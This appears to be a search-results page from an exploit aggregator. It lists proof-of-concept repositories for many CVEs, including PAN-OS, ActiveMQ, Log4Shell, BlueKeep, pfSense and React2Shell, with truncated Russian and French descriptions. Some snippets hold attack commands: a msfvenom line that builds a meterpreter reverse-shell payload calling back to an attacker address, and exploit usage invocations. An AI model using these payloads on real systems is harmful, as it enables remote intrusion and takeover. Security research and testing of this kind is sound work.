517310 matches found
CVE-2025-32023
...
CVE-2024-3400-
Уязвимость внедрения команд в межсетевом экране PAN-OS Этот репозиторий содержит скрипт на Go, который эксплуатирует уязвимость внедрения команд в межсетевых экранах под управлением операционной системы PAN-OS от Palo Alto Networks. Уязвимость, идентифицированная как CVE-2024-3400, позволяет...
CVE-2023-46604_ActiveMQ_RCE_Recurrence
Accédez à activemq/bin, choisissez x64 ou x32, exécutez activemq.bin avec les privilèges administrateur. Accédez à l'interface admin sur le port 8161, identifiants admin/admin. S'il ne démarre pas, vérifiez si le port est occupé, modifiez activemq.xml dans conf. Sur ma machine, le port MQTT...
CVE-2021-30860
CVE-2021-30860 CVE-2021-30860 FORCEDENTRY — известная уязвимость в macOS, iOS и watchOS. Она позволяет выполнять произвольный код при отправке на устройство жертвы «вредоносно созданного PDF». Apple исправила эту уязвимость 13 сентября 2021 года в следующих версиях: iOS 14.8 macOS Big Sur 11.6,...
CVE-2019-0708
CVE-2019-0708 La partie provoquant le crash BSOD a été intentionnellement retirée ! Une vulnérabilité d’exécution de code à distance existe dans les services Bureau à distance – anciennement connus sous le nom de services Terminal Server – lorsqu’un attaquant non authentifié se connecte au systèm...
CVE-2025-32433
CVE-2025-32433 Une vulnérabilité critique dans le serveur SSH Erlang/OTP permet l'exécution de code à distance RCE sans authentification. Le défaut réside dans le mécanisme de gestion des messages du protocole SSH, permettant aux attaquants d'exécuter des commandes arbitraires sans nécessiter...
CVE-2023-33246
CVE-2023-33246 Exploit de la vulnérabilité d'exécution de code à distance dans Apache RocketMQ CVE-2023-33246 Utilisation : root@kitploit: java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "open -a Calculator" Caractéristiques de cet outil Étant donné que le mécanisme heartbeat déclenche la...
CVE-2022-24637
CVE-2022-24637 Exploit pour la RCE non authentifiée dans Open Web Analytics OWA 1.7.3. Ce travail est basé sur https://devel0pment.de/?p=2494. AVERTISSEMENT : Ce script est conçu pour auditer la sécurité des systèmes. Utilisez ce script uniquement sur vos propres systèmes ou sur des systèmes pour...
CVE-2022-0848-RCE
CVE-2022-0848 Exécution de code à distance RCE dans part-db 0.5.11 Modifiez l'hôte dans le fichier bash et exécutez-le, puis obtenez le shell via RCE...
CVE-2024-46538
Merci àphysicszq, qui a découvert cette vulnérabilité. CVE-2024-46538 ★ CVE-2024-46538 PfSense Stored XSS menant à l'exécution de code arbitraire PoC ★ Description CVE-2024-46538 : vulnérabilité Stored XSS dans PfSense description : Une vulnérabilité de cross-site scripting XSS dans pfsense v2.5....
CVE-2020-15227
CVE-2020-15227 AVERTISSEMENT ! Je décline toute responsabilité quant à l'utilisation de cet outil dans un environnement réel, ne le faites PAS. Ce bidule est uniquement destiné à démontrer et à tester des choses pour les administrateurs système. J'ai créé cet exploit suite à la publication d'un C...
CVE-2022-30024
CVE-2022-30024 Exploit RCE Tplink wr841 v10 ⚠️ Avertissement Le code de ce dépôt est fourni tel quel à des fins exclusivement éducatives et de recherche en sécurité défensive. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test...
CVE-2022-22947
CVE-2022-22947 Description de CVE-2022-22947 La vulnérabilité d'exécution de code à distance dans Spring Cloud Gateway CVE-2022-22947 se situe au niveau du point de terminaison Actuator des applications Spring Cloud Gateway. Lorsque celui-ci est activé, exposé et non sécurisé, il est susceptible...
SnatchBox
SnatchBox SnatchBox CVE-2020-27935 est une vulnérabilité d'évasion de la sandbox affectant macOS jusqu'à la version 10.15, ainsi que les premières versions bêta de macOS 11.0. L'impact le plus significatif de SnatchBox est qu'il permet à un éditeur malveillant de s'échapper de la sandbox non...
CVE-2023-4220-Proof-of-concept
Preuve-de-concept-CVE-2023-4220 Téléchargement non authentifié de fichier volumineux dans Chamilo LMS permettant l'exécution de code à distance LE CODE EST CRÉÉ ET UTILISÉ POUR LE CTF HACKTHEBOX PERMX Téléchargement non authentifié de fichier dans la fonctionnalité de téléchargement de gros...
CVE-2018-20250
Настройка Видео демонстрация: https://youtu.be/5tuWsi1tGS0 Виртуальная машина VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Шаги выполнения Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe...
LibSSH-exploit
LibSSH-exploit CVE-2018-10933 Serveurs SSH vulnérables - libssh avant 0.8.4 Envoie un message d'utilisateur autorisé qui permet une RCE Utilisation : ''' Libsshexploit.py '''...
CVE-2025-55182-React2Shell-RCE
CVE-2025-55182 - React2Shell RCE non authentifié dans les composants serveur React CVE-2025-55182, également connue sous le nom de React2Shell , est une vulnérabilité critique d'exécution de code à distance RCE non authentifié affectant les packages React Server Components versions 19.0, 19.1.0,...
CVE-2021-44228-example
Это пример эксплуатации CVE-2021-44228 RCE-уязвимость в Log4J2 Я не несу ответственности за этот код. ПОЖАЛУЙСТА, не используйте во вред CVE-2021-44228 : Эта уязвимость позволяет выполнять произвольный код при логировании вредоносного сообщения на целевой машине. Например, вы можете использовать ...